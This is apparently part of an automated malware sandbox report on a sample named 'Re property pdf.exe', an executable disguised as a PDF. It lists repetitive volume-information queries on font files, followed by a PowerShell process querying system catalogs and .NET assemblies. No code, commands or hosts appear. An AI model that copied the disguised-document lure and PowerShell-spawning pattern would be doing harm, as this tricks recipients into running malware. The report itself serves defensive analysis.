Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
